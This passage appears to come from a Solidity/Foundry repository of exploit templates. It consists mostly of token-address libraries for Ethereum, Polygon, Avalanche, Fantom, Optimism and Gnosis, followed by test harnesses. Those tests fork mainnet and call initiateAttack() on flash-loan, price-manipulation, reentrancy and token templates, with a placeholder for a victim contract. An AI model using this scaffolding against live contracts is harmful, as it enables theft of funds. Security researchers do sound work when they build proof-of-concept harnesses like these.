IERC20 public constant FLOW = IERC20(0xC943c5320B9c18C153d1e2d12cC3074bebfb31A2); 116 | IERC20 public constant XTZ = IERC20(0x16939ef78684453bfDFb47825F8a5F714f12623a); 117 | IERC20 public constant USDD = IERC20(0xd17479997F34dd9156Deef8F95A52D81D265be9c); 118 | IERC20 public constant ZEC = IERC20(0x1Ba42e5193dfA8B03D15dd1B86a3113bbBEF8Eeb); 119 | IERC20 public constant SNX = IERC20(0x9Ac983826058b8a9C7Aa1C9171441191232E8404); 120 | IERC20 public constant TWT = IERC20(0x4B0F1812e5Df2A09796481Ff14017e6005508003); 121 | IERC20 public constant BTT = IERC20(0x352Cb5E19b12FC216548a2677bD0fce83BaE434B); 122 | IERC20 public constant MKR = IERC20(0x5f0Da599BB2ccCfcf6Fdfd7D81743B6020864350); 123 | IERC20 public constant FTM = IERC20(0xAD29AbB318791D579433D831ed122aFeAf29dcfe); 124 | IERC20 public constant IOTA = IERC20(0xd944f1D1e9d5f9Bb90b62f9D45e447D989580782); 125 | IERC20 public constant PAXG = IERC20(0x7950865a9140cB519342433146Ed5b40c6F210f7); 126 | IERC20 public constant XEC = IERC20(0x0Ef2e7602adD1733Bfdb17aC3094d0421B502cA3); 127 | IERC20 public constant FXS = IERC20(0xe48A3d7d0Bc88d552f730B62c006bC925eadB9eE); 128 | IERC20 public constant ZIL = IERC20(0xb86AbCb37C3A4B64f74f59301AFF131a1BEcC787); 129 | IERC20 public constant ETHW = IERC20(0x302cD8973bE5CA2334B4ff7e7b01BA41455559b3); 130 | IERC20 public constant ONEINCH = IERC20(0x111111111117dC0aa78b770fA6A738034120C302); 131 | IERC20 public constant GALA = IERC20(0x7dDEE176F665cD201F93eEDE625770E2fD911990); 132 | IERC20 public constant BAT = IERC20(0x101d82428437127bF1608F699CD651e6Abf9766E); 133 | IERC20 public constant XCN = IERC20(0x7324c7C0d95CEBC73eEa7E85CbAac0dBdf88a05b); 134 | IERC20 public constant COMP = IERC20(0x52CE071Bd9b1C4B00A0b92D298c512478CaD67e8); 135 | } 136 | 137 | library PolygonTokens { 138 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 139 | // Top 50 tokens by market cap on polygonscan 140 | IERC20 public constant USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F); 141 | IERC20 public constant BNB = IERC20(0x3BA4c387f786bFEE076A58914F5Bd38d668B42c3); 142 | IERC20 public constant USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174); 143 | IERC20 public constant BUSD = IERC20(0xdAb529f40E671A1D4bF91361c21bf9f0C9712ab7); 144 | IERC20 public constant MATIC = IERC20(0x0000000000000000000000000000000000001010); 145 | IERC20 public constant DAI = IERC20(0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063); 146 | IERC20 public constant UNI = IERC20(0xb33EaAd8d922B1083446DC23f610c2567fB5180f); 147 | IERC20 public constant AVAX = IERC20(0x2C89bbc92BD86F8075d1DEcc58C7F4E0107f286b); 148 | IERC20 public constant LEO = IERC20(0x06D02e9D62A13fC76BB229373FB3BBBD1101D2fC); 149 | IERC20 public constant WBTC = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6); 150 | IERC20 public constant LINK = IERC20(0xb0897686c545045aFc77CF20eC7A532E3120E0F1); 151 | IERC20 public constant LINKb = IERC20(0x53E0bca35eC356BD5ddDFebbD1Fc0fD03FaBad39); 152 | IERC20 public constant APE = IERC20(0xB7b31a6BC18e48888545CE79e83E06003bE70930); 153 | IERC20 public constant CRO = IERC20(0xAdA58DF0F643D959C2A47c9D4d4c1a4deFe3F11C); 154 | IERC20 public constant LDO = IERC20(0xC3C7d422809852031b44ab29EEC9F1EfF2A58756); 155 | IERC20 public constant FRAX = IERC20(0x45c32fA6DF82ead1e2EF74d17b76547EDdFaFF89); 156 | IERC20 public constant AAVE = IERC20(0xD6DF932A45C0f255f85145f286eA0b292B21C90B); 157 | IERC20 public constant TUSD = IERC20(0x2e1AD108fF1D8C782fcBbB89AAd783aC49586756); 158 | IERC20 public constant PAX = IERC20(0x6F3B3286fd86d8b47EC737CEB3D0D354cc657B3e); 159 | IERC20 public constant SAND = IERC20(0xBbba073C31bF03b8ACf7c28EF0738DeCF3695683); 160 | IERC20 public constant THETA = IERC20(0xB46E0ae620EFd98516f49bb00263317096C114b2); 161 | IERC20 public constant HT = IERC20(0xFAD65Eb62a97fF5Ed91B23aFD039956aaCa6e93b); 162 | IERC20 public constant MANA = IERC20(0xA1c57f48F0Deb89f569dFbE6E2B7f46D33606fD4); 163 | IERC20 public constant USDD = IERC20(0xFFA4D863C96e743A2e1513824EA006B8D0353C57); 164 | IERC20 public constant CHZ = IERC20(0xf1938Ce12400f9a761084E7A80d37e732a4dA056); 165 | IERC20 public constant FTM = IERC20(0xC9c1c1c20B3658F8787CC2FD702267791f224Ce1); 166 | IERC20 public constant GUSD = IERC20(0xC8A94a3d3D2dabC3C1CaffFFDcA6A7543c3e3e65); 167 | IERC20 public constant MKR = IERC20(0x6f7C932e7684666C9fd1d44527765433e01fF61d); 168 | IERC20 public constant GRT = IERC20(0x5fe2B58c013d7601147DcdD68C143A77499f5531); 169 | IERC20 public constant PAXG = IERC20(0x553d3D295e0f695B9228246232eDF400ed3560B5); 170 | IERC20 public constant SNX = IERC20(0x50B728D8D964fd00C2d0AAD81718b71311feF68a); 171 | IERC20 public constant CRV = IERC20(0x172370d5Cd63279eFa6d502DAB29171933a610AF); 172 | IERC20 public constant FXS = IERC20(0x1a3acf6D19267E2d3e7f898f42803e90C9219062); 173 | IERC20 public constant NEXO = IERC20(0x41b3966B4FF7b427969ddf5da3627d6AEAE9a48E); 174 | IERC20 public constant WOO = IERC20(0x1B815d120B3eF02039Ee11dC2d33DE7aA4a8C603); 175 | IERC20 public constant ONEINCH = IERC20(0x9c2C5fd7b07E95EE044DDeba0E97a665F142394f); 176 | IERC20 public constant BAT = IERC20(0x3Cef98bb43d732E2F285eE605a8158cDE967D219); 177 | IERC20 public constant ENJ = IERC20(0x7eC26842F195c852Fa843bB9f6D8B583a274a157); 178 | IERC20 public constant LRC = IERC20(0x84e1670F61347CDaeD56dcc736FB990fBB47ddC1); 179 | IERC20 public constant RPL = IERC20(0x7205705771547cF79201111B4bd8aaF29467b9eC); 180 | IERC20 public constant HOT = IERC20(0x0C51f415cF478f8D08c246a6C6Ee180C5dC3A012); 181 | IERC20 public constant POLY = IERC20(0xcB059C5573646047D6d88dDdb87B745C18161d3b); 182 | IERC20 public constant SXP = IERC20(0x6aBB753C1893194DE4a83c6e8B4EadFc105Fd5f5); 183 | IERC20 public constant COMP = IERC20(0x8505b9d2254A7Ae468c0E9dd10Ccea3A837aef5c); 184 | IERC20 public constant GNO = IERC20(0x5FFD62D3C3eE2E81C00A7b9079FB248e7dF024A8); 185 | IERC20 public constant IOTX = IERC20(0xf6372cDb9c1d3674E83842e3800F2A62aC9F3C66); 186 | IERC20 public constant CEL = IERC20(0xD85d1e945766Fea5Eda9103F918Bd915FbCa63E6); 187 | IERC20 public constant BAL = IERC20(0x9a71012B13CA4d3D0Cdc72A177DF3ef03b0E76A3); 188 | IERC20 public constant SUSHI = IERC20(0x0b3F868E0BE5597D5DB7fEB59E1CADBb0fdDa50a); 189 | IERC20 public constant UST = IERC20(0x692597b009d13C4049a947CAB2239b7d6517875F); 190 | } 191 | 192 | library AvalancheTokens { 193 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 194 | // Top 50 tokens by market cap on snowtrace 195 | IERC20 public constant USDTe = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118); 196 | IERC20 public constant USDt = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7); 197 | IERC20 public constant USDCe = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664); 198 | IERC20 public constant USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E); 199 | IERC20 public constant BUSDe = IERC20(0x19860CCB0A68fd4213aB9D8266F7bBf05A8dDe98); 200 | IERC20 public constant BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39); 201 | IERC20 public constant DAIe = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70); 202 | IERC20 public constant SHIBe = IERC20(0x02D980A0D7AF3fb7Cf7Df8cB35d9eDBCF355f665); 203 | IERC20 public constant UNIe = IERC20(0x8eBAf22B6F053dFFeaf46f4Dd9eFA95D89ba8580); 204 | IERC20 public constant WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7); 205 | IERC20 public constant WBTCe = IERC20(0x50b7545627a5162F82A992c33b87aDc75187B218); 206 | IERC20 public constant LINKe = IERC20(0x5947BB275c521040051D82396192181b413227A3); 207 | IERC20 public constant FRAX = IERC20(0xD24C2Ad096400B6FBcd2ad8B24E7acBc21A1da64); 208 | IERC20 public constant AAVEe = IERC20(0x63a72806098Bd3D9520cC43356dD78afe5D386D9); 209 | IERC20 public constant TUSD = IERC20(0x1C20E891Bab6b1727d14Da358FAe2984Ed9B59EB); 210 | IERC20 public constant USDD = IERC20(0xcf799767d366d789e8B446981C2D578E241fa25c); 211 | IERC20 public constant SNXe = IERC20(0xBeC243C995409E6520D7C41E404da5dEba4b209B); 212 | IERC20 public constant GRTe = IERC20(0x8a0cAc13c7da965a312f08ea4229c37869e85cB9); 213 | IERC20 public constant MKRe = IERC20(0x88128fd4b259552A9A1D457f435a6527AAb72d42); 214 | IERC20 public constant CRVe = IERC20(0x249848BeCA43aC405b8102Ec90Dd5F22CA513c06); 215 | IERC20 public constant FXS = IERC20(0x214DB107654fF987AD859F34125307783fC8e387); 216 | IERC20 public constant ONEINCHe = IERC20(0xd501281565bf7789224523144Fe5D98e8B28f267); 217 | IERC20 public constant BATe = IERC20(0x98443B96EA4b0858FDF3219Cd13e98C7A4690588); 218 | IERC20 public constant SUSHIe = IERC20(0x37B608519F91f70F2EeB0e5Ed9AF4061722e4F76); 219 | IERC20 public constant COMPe = IERC20(0xc3048E19E76CB9a3Aa9d77D8C03c29Fc906e2437); 220 | IERC20 public constant YFIe = IERC20(0x9eAaC1B23d935365bD7b542Fe22cEEe2922f52dc); 221 | IERC20 public constant ZRXe = IERC20(0x596fA47043f99A4e0F122243B841E55375cdE0d2); 222 | IERC20 public constant UMAe = IERC20(0x3Bd2B1c7ED8D396dbb98DED3aEbb41350a5b2339); 223 | IERC20 public constant ANY = IERC20(0xB44a9B6905aF7c801311e8F4E76932ee959c663C); 224 | IERC20 public constant KNC = IERC20(0x39fC9e94Caeacb435842FADeDeCB783589F50f5f); 225 | IERC20 public constant BTCb = IERC20(0x152b9d0FdC40C096757F570A51E494bd4b943E50); 226 | IERC20 public constant ORBS = IERC20(0x340fE1D898ECCAad394e2ba0fC1F93d27c7b717A); 227 | IERC20 public constant SYN = IERC20(0x1f1E7c893855525b303f99bDF5c3c05Be09ca251); 228 | IERC20 public constant SPELL = IERC20(0xCE1bFFBD5374Dac86a2893119683F4911a2F7814); 229 | IERC20 public constant ALPHAe = IERC20(0x2147EFFF675e4A4eE1C2f918d181cDBd7a8E208f); 230 | IERC20 public constant BOBA = IERC20(0x3cD790449CF7D187a143d4Bd7F4654d4f2403e02); 231 | IERC20 public constant SURE = IERC20(0x5fC17416925789E0852FBFcd81c490ca4abc51F9); 232 | IERC20 public constant STG = IERC20(0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590); 233 | IERC20 public constant xJOE = IERC20(0x57319d41F71E81F3c65F2a47CA4e001EbAFd4F33); 234 | IERC20 public constant JOE = IERC20(0x6e84a6216eA6dACC71eE8E6b0a5B7322EEbC0fDd); 235 | IERC20 public constant BIFI = IERC20(0xd6070ae98b8069de6B494332d1A1a81B6179D960); 236 | IERC20 public constant ETHM = IERC20(0x55b1a124c04A54eeFDEFE5FA2Ef5f852FB5f2f26); 237 | IERC20 public constant QI = IERC20(0x8729438EB15e2C8B576fCc6AeCdA6A148776C0F5); 238 | IERC20 public constant SWAPe = IERC20(0xc7B5D72C836e718cDA8888eaf03707fAef675079); 239 | IERC20 public constant UNCX = IERC20(0x3b9e3b5c616A1A038fDc190758Bbe9BAB6C7A857); 240 | IERC20 public constant WALBT = IERC20(0x9E037dE681CaFA6E661e6108eD9c2bd1AA567Ecd); 241 | IERC20 public constant JADE = IERC20(0x80B010450fDAf6a3f8dF033Ee296E92751D603B3); 242 | IERC20 public constant sJADE = IERC20(0x3D9eAB723df76808bB84c05b20De27A2e69EF293); 243 | IERC20 public constant RISE = IERC20(0xC17c30e98541188614dF99239cABD40280810cA3); 244 | IERC20 public constant PENDLE = IERC20(0xfB98B335551a418cD0737375a2ea0ded62Ea213b); 245 | } 246 | 247 | library FantomTokens { 248 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 249 | // Top 50 tokens by market cap on ftmscan 250 | IERC20 public constant FBTC = IERC20(0xe1146b9AC456fCbB60644c36Fd3F868A9072fc6E); 251 | IERC20 public constant FETH = IERC20(0x658b0c7613e890EE50B8C4BC6A3f41ef411208aD); 252 | IERC20 public constant USDC = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75); 253 | IERC20 public constant DAI = IERC20(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E); 254 | IERC20 public constant AVAX = IERC20(0x511D35c52a3C244E7b8bd92c0C297755FbD89212); 255 | IERC20 public constant BTC = IERC20(0x321162Cd933E2Be498Cd2267a90534A804051b11); 256 | IERC20 public constant LINK = IERC20(0xb3654dc3D10Ea7645f8319668E8F54d2574FBdC8); 257 | IERC20 public constant FRAX = IERC20(0xdc301622e621166BD8E82f2cA0A26c13Ad0BE355); 258 | IERC20 public constant AAVE = IERC20(0x6a07A792ab2965C72a5B8088d3a069A7aC3a993B); 259 | IERC20 public constant TUSD = IERC20(0x9879aBDea01a879644185341F7aF7d8343556B7a); 260 | IERC20 public constant USDD = IERC20(0xcf799767d366d789e8B446981C2D578E241fa25c); 261 | IERC20 public constant SFTM = IERC20(0x69c744D3444202d35a2783929a0F930f2FBB05ad); 262 | IERC20 public constant WFTM = IERC20(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83); 263 | IERC20 public constant SNX = IERC20(0x56ee926bD8c72B2d5fa1aF4d9E4Cbb515a1E3Adc); 264 | IERC20 public constant CRV = IERC20(0x1E4F97b9f9F913c46F1632781732927B9019C68b); 265 | IERC20 public constant FXS = IERC20(0x7d016eec9c25232b01F23EF992D98ca97fc2AF5a); 266 | IERC20 public constant CEL = IERC20(0x2C78f1b70Ccf63CDEe49F9233e9fAa99D43AA07e); 267 | IERC20 public constant SUSHI = IERC20(0xae75A438b2E0cB8Bb01Ec1E1e376De11D44477CC); 268 | IERC20 public constant BAND = IERC20(0x46E7628E8b4350b2716ab470eE0bA1fa9e76c6C5); 269 | IERC20 public constant FBAND = IERC20(0x078EEF5A2fb533e1a4d487ef64b27DF113d12C32); 270 | IERC20 public constant YFI = IERC20(0x29b0Da86e484E1C0029B56e817912d778aC0EC69); 271 | IERC20 public constant SYN = IERC20(0xE55e19Fb4F2D85af758950957714292DAC1e25B2); 272 | IERC20 public constant MIM = IERC20(0x82f0B8B456c1A451378467398982d4834b6829c1); 273 | IERC20 public constant ORBS = IERC20(0x3E01B7E242D5AF8064cB9A8F9468aC0f8683617c); 274 | IERC20 public constant SPELL = IERC20(0x468003B688943977e6130F4F68F23aad939a1040); 275 | IERC20 public constant ALPHA = IERC20(0x11eb3aA66FE1f2B75cB353D3e874E96968182BdA); 276 | IERC20 public constant BOBA = IERC20(0x4389b230D15119c347B9E8BEA6d930A21aaDF6BA); 277 | IERC20 public constant STG = IERC20(0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590); 278 | IERC20 public constant ALPACA = IERC20(0xaD996A45fd2373ed0B10Efa4A8eCB9de445A4302); 279 | IERC20 public constant KP3R = IERC20(0x2A5062D22adCFaAfbd5C541d4dA82E4B450d4212); 280 | IERC20 public constant ORN = IERC20(0xD2cDcB6BdEE6f78DE7988a6A60d13F6eF0b576D9); 281 | IERC20 public constant HEGIC = IERC20(0x44B26E839eB3572c5E959F994804A5De66600349); 282 | IERC20 public constant DOLA = IERC20(0x3129662808bEC728a27Ab6a6b9AFd3cBacA8A43c); 283 | IERC20 public constant TOR = IERC20(0x74E23dF9110Aa9eA0b6ff2fAEE01e740CA1c642e); 284 | IERC20 public constant BOO = IERC20(0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE); 285 | IERC20 public constant RISE = IERC20(0xC17c30e98541188614dF99239cABD40280810cA3); 286 | IERC20 public constant RAI = IERC20(0xa71353Bb71DdA105D383B02fc2dD172C4D39eF8B); 287 | IERC20 public constant HOGE = IERC20(0xF31778D591c558140398F46feCA42A6a2dbFFe90); 288 | IERC20 public constant GEL = IERC20(0x15b7c0c907e4C6b9AdaAaabC300C08991D6CEA05); 289 | IERC20 public constant GEIST = IERC20(0xd8321AA83Fb0a4ECd6348D4577431310A6E0814d); 290 | IERC20 public constant wBAN = IERC20(0xe20B9e246db5a0d21BF9209E4858Bc9A3ff7A034); 291 | IERC20 public constant HEC = IERC20(0x5C4FDfc5233f935f20D2aDbA572F770c2E377Ab0); 292 | IERC20 public constant sHEC = IERC20(0x75bdeF24285013387A47775828bEC90b91Ca9a5F); 293 | IERC20 public constant TOMB = IERC20(0x6c021Ae822BEa943b2E66552bDe1D2696a53fbB7); 294 | IERC20 public constant fmXEN = IERC20(0xeF4B763385838FfFc708000f884026B8c0434275); 295 | IERC20 public constant TREEB = IERC20(0xc60D7067dfBc6f2caf30523a064f416A5Af52963); 296 | IERC20 public constant BEETS = IERC20(0xF24Bcf4d1e507740041C9cFd2DddB29585aDCe1e); 297 | IERC20 public constant WIGO = IERC20(0xE992bEAb6659BFF447893641A378FbbF031C5bD6); 298 | IERC20 public constant TETU = IERC20(0x65c9d9d080714cDa7b5d58989Dc27f897F165179); 299 | IERC20 public constant TSHARE = IERC20(0x4cdF39285D7Ca8eB3f090fDA0C069ba5F4145B37); 300 | } 301 | 302 | library OptimismTokens { 303 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 304 | // Top 29 tokens by market cap on optimistic.etherscan 305 | IERC20 public constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58); 306 | IERC20 public constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607); 307 | IERC20 public constant DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1); 308 | IERC20 public constant WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095); 309 | IERC20 public constant LINK = IERC20(0x350a791Bfc2C21F9Ed5d10980Dad2e2638ffa7f6); 310 | IERC20 public constant LDO = IERC20(0xFdb794692724153d1488CcdBE0C56c252596735F); 311 | IERC20 public constant FRAX = IERC20(0x2E3D870790dC77A83DD1d18184Acc7439A53f475); 312 | IERC20 public constant USDD = IERC20(0xC22885e06cd8507c5c74a948C59af853AEd1Ea5C); 313 | IERC20 public constant SNX = IERC20(0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4); 314 | IERC20 public constant FXS = IERC20(0x67CCEA5bb16181E7b4109c9c2143c24a1c2205Be); 315 | IERC20 public constant OP = IERC20(0x4200000000000000000000000000000000000042); 316 | IERC20 public constant UST = IERC20(0xFB21B70922B9f6e3C6274BcD6CB1aa8A0fe20B80); 317 | IERC20 public constant KNC = IERC20(0xa00E3A3511aAC35cA78530c85007AFCd31753819); 318 | IERC20 public constant sUSD = IERC20(0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9); 319 | IERC20 public constant BIFI = IERC20(0x4E720DD3Ac5CFe1e1fbDE4935f386Bb1C66F4642); 320 | IERC20 public constant sETH = IERC20(0xE405de8F52ba7559f9df3C368500B6E6ae6Cee49); 321 | IERC20 public constant BOB = IERC20(0xB0B195aEFA3650A6908f15CdaC7D92F8a5791B0B); 322 | IERC20 public constant THALES = IERC20(0x217D47011b23BB961eB6D93cA9945B7501a5BB11); 323 | IERC20 public constant USDPLUS = IERC20(0x73cb180bf0521828d8849bc8CF2B920918e23032); 324 | IERC20 public constant sBTC = IERC20(0x298B9B95708152ff6968aafd889c6586e9169f1D); 325 | IERC20 public constant RGT = IERC20(0xB548f63D4405466B36C0c0aC3318a22fDcec711a); 326 | IERC20 public constant HOP = IERC20(0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC); 327 | IERC20 public constant O3 = IERC20(0xEe9801669C6138E84bD50dEB500827b776777d28); 328 | IERC20 public constant DCN = IERC20(0x1da650C3B2DaA8AA9Ff6F661d4156Ce24d08A062); 329 | IERC20 public constant sLINK = IERC20(0xc5Db22719A06418028A40A9B5E9A7c02959D0d08); 330 | IERC20 public constant PICKLE = IERC20(0x0c5b4c92c948691EEBf185C17eeB9c230DC019E9); 331 | IERC20 public constant ROOBEE = IERC20(0xb12c13e66AdE1F72f71834f2FC5082Db8C091358); 332 | IERC20 public constant GRG = IERC20(0xEcF46257ed31c329F204Eb43E254C609dee143B3); 333 | IERC20 public constant IB = IERC20(0x00a35FD824c717879BF370E70AC6868b95870Dfb); 334 | } 335 | 336 | library GnosisTokens { 337 | IERC20 public constant NATIVE_ASSET = IERC20(address(0x0)); 338 | // Top 50 tokens by market cap on gnosisscan.io 339 | IERC20 public constant USDT = IERC20(0x4ECaBa5870353805a9F068101A40E0f32ed605C6); 340 | IERC20 public constant USDC = IERC20(0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83); 341 | IERC20 public constant MATIC = IERC20(0x7122d7661c4564b7C6Cd4878B06766489a6028A2); 342 | IERC20 public constant UNI = IERC20(0x4537e328Bf7e4eFA29D05CAeA260D7fE26af9D74); 343 | IERC20 public constant LINK = IERC20(0xE2e73A1c69ecF83F464EFCE6A5be353a37cA09b2); 344 | IERC20 public constant RPL = IERC20(0x2F0E755Efe6b58238A67DB420Ff3513Ec1fb31eF); 345 | IERC20 public constant YFI = IERC20(0xbf65bfcb5da067446CeE6A706ba3Fe2fB1a9fdFd); 346 | IERC20 public constant GNO = IERC20(0x9C58BAcC331c9aa871AFD802DB6379a98e80CEdb); 347 | IERC20 public constant EWTB = IERC20(0x6A8cb6714B1EE5b471a7D2eC4302cb4f5Ff25eC2); 348 | IERC20 public constant BADGER = IERC20(0xdfc20AE04ED70bd9c7D720F449eEDAe19F659D65); 349 | IERC20 public constant DATA = IERC20(0x256eb8a51f382650B2A1e946b8811953640ee47D); 350 | IERC20 public constant DPI = IERC20(0xD3D47d5578e55C880505dC40648F7F9307C3e7A8); 351 | IERC20 public constant HOPR = IERC20(0xD057604A14982FE8D88c5fC25Aac3267eA142a08); 352 | IERC20 public constant FOX = IERC20(0x21a42669643f45Bc0e086b8Fc2ed70c23D67509d); 353 | IERC20 public constant xMOON = IERC20(0x1e16aa4Df73d29C029d94CeDa3e3114EC191E25A); 354 | IERC20 public constant DXD = IERC20(0xb90D6bec20993Be5d72A5ab353343f7a0281f158); 355 | IERC20 public constant UNCX = IERC20(0x0116e28B43A358162B96f70B4De14C98A4465f25); 356 | IERC20 public constant SWASH = IERC20(0x84E2C67CBEfae6B5148fcA7d02B341B12ff4b5Bb); 357 | IERC20 public constant COW = IERC20(0x177127622c4A00F3d409B75571e12cB3c8973d3c); 358 | IERC20 public constant HOP = IERC20(0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC); 359 | IERC20 public constant DIP = IERC20(0x48b1B0d077b4919b65b4E4114806dD803901E1D9); 360 | IERC20 public constant MPS = IERC20(0xfa57AA7beED63D03Aaf85fFd1753f5f6242588fb); 361 | IERC20 public constant HAUS = IERC20(0xb0C5f3100A4d9d9532a4CfD68c55F1AE8da987Eb); 362 | IERC20 public constant GIV = IERC20(0x4f4F9b8D5B4d0Dc10506e5551B0513B61fD59e75); 363 | IERC20 public constant ETHIX = IERC20(0xec3f3e6d7907acDa3A7431abD230196CDA3FbB19); 364 | IERC20 public constant STAKE = IERC20(0xb7D311E2Eb55F2f68a9440da38e7989210b9A05e); 365 | IERC20 public constant GTON = IERC20(0x6aB6d61428fde76768D7b45D8BFeec19c6eF91A8); 366 | IERC20 public constant SWPR = IERC20(0x532801ED6f82FFfD2DAB70A19fC2d7B2772C4f4b); 367 | IERC20 public constant AGVE = IERC20(0x3a97704a1b25F08aa230ae53B352e2e72ef52843); 368 | IERC20 public constant ETHO = IERC20(0xB17d999E840e0c1B157Ca5Ab8039Bd958b5fA317); 369 | IERC20 public constant DHV = IERC20(0xFbdd194376de19a88118e84E279b977f165d01b8); 370 | IERC20 public constant ZeroxMR = IERC20(0x8c88eA1fD60462Ef7004B9e288afCB4680a3c50c); 371 | IERC20 public constant DONUT = IERC20(0x524B969793a64a602342d89BC2789D43a016B13A); 372 | IERC20 public constant MIVA = IERC20(0x63e62989D9EB2d37dfDB1F93A22f063635b07d51); 373 | IERC20 public constant NODE = IERC20(0xc60e38C6352875c051B481Cbe79Dd0383AdB7817); 374 | IERC20 public constant LEVIN = IERC20(0x1698cD22278ef6E7c0DF45a8dEA72EDbeA9E42aa); 375 | IERC20 public constant WETH = IERC20(0x6A023CCd1ff6F2045C3309768eAd9E68F978f6e1); 376 | IERC20 public constant HNY = IERC20(0x71850b7E9Ee3f13Ab46d67167341E4bDc905Eef9); 377 | IERC20 public constant jCHF = IERC20(0x2d5563da42b06FbBF9c67b7DC073cF6A7842239e); 378 | IERC20 public constant jEUR = IERC20(0x9fB1d52596c44603198fB0aee434fac3a679f702); 379 | IERC20 public constant WXDAI = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d); 380 | IERC20 public constant TEC = IERC20(0x5dF8339c5E282ee48c0c7cE8A7d01a73D38B3B27); 381 | IERC20 public constant RICE = IERC20(0x97Edc0e345FbBBd8460847Fcfa3bc2a13bF8641F); 382 | IERC20 public constant WATER = IERC20(0x4291F029B9e7acb02D49428458cf6fceAC545f81); 383 | IERC20 public constant SYMM = IERC20(0xC45b3C1c24d5F54E7a2cF288ac668c74Dd507a84); 384 | IERC20 public constant BRIGHT = IERC20(0x83FF60E2f93F8eDD0637Ef669C69D5Fb4f64cA8E); 385 | IERC20 public constant xCOMB = IERC20(0x38Fb649Ad3d6BA1113Be5F57B927053E97fC5bF7); 386 | IERC20 public constant JPYC = IERC20(0x431D5dfF03120AFA4bDf332c61A6e1766eF37BDB); 387 | IERC20 public constant ESR = IERC20(0xD3226B12e6188133b19Ac0419f34B0ed5B10f069); 388 | IERC20 public constant RAID = IERC20(0x18E9262e68Cc6c6004dB93105cc7c001BB103e49); 389 | } 390 | -------------------------------------------------------------------------------- /src/tokens/examples/TokenExampleManipulation.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../Tokens.sol"; 4 | 5 | contract TokenExampleManipulation is Tokens { 6 | function manipulateTokenBalance() external { 7 | deal(EthereumTokens.USDC, address(this), 1 ether); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /test/FlashLoan.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../src/FlashLoanTemplate.sol"; 5 | 6 | contract FlashLoanTest is Test { 7 | uint256 mainnetFork; 8 | 9 | FlashLoanTemplate public flashLoanTemplate; 10 | 11 | function setUp() public { 12 | mainnetFork = vm.createFork("eth"); 13 | vm.selectFork(mainnetFork); 14 | 15 | flashLoanTemplate = new FlashLoanTemplate(); 16 | } 17 | 18 | function testFlashLoan() public { 19 | flashLoanTemplate.initiateAttack(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /test/PriceManipulation.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/PriceManipulationTemplate.sol"; 6 | 7 | contract PriceManipulationTest is Test { 8 | uint256 mainnetFork; 9 | 10 | PriceManipulationTemplate public attackContract; 11 | 12 | function setUp() public { 13 | mainnetFork = vm.createFork("eth"); 14 | vm.selectFork(mainnetFork); 15 | 16 | attackContract = new PriceManipulationTemplate(); 17 | } 18 | 19 | function testPriceManipulationAttack() public { 20 | attackContract.initiateAttack(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /test/Reentrancy.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../src/ReentrancyTemplate.sol"; 5 | 6 | contract ReentrancyTest is Test { 7 | ReentrancyTemplate public attackContract; 8 | address victimContract = address(0x0); // Modify this to be your victim contract 9 | 10 | function setUp() public { 11 | attackContract = new ReentrancyTemplate(address(victimContract)); 12 | } 13 | 14 | function testReentrancyAttack() public { 15 | attackContract.initiateAttack(); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /test/Tokens.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../src/TokenTemplate.sol"; 5 | 6 | contract TokensTemplateTest is Test { 7 | uint256 mainnetFork; 8 | 9 | TokenTemplate public tokenTemplate; 10 | 11 | function setUp() public { 12 | mainnetFork = vm.createFork("eth"); 13 | vm.selectFork(mainnetFork); 14 | 15 | tokenTemplate = new TokenTemplate(); 16 | } 17 | 18 | function testAttack() public { 19 | tokenTemplate.initiateAttack(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /test/examples/FlashLoanExample.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/Test.sol"; 4 | import "../../src/flashloan/examples/FlashLoanExample.sol"; 5 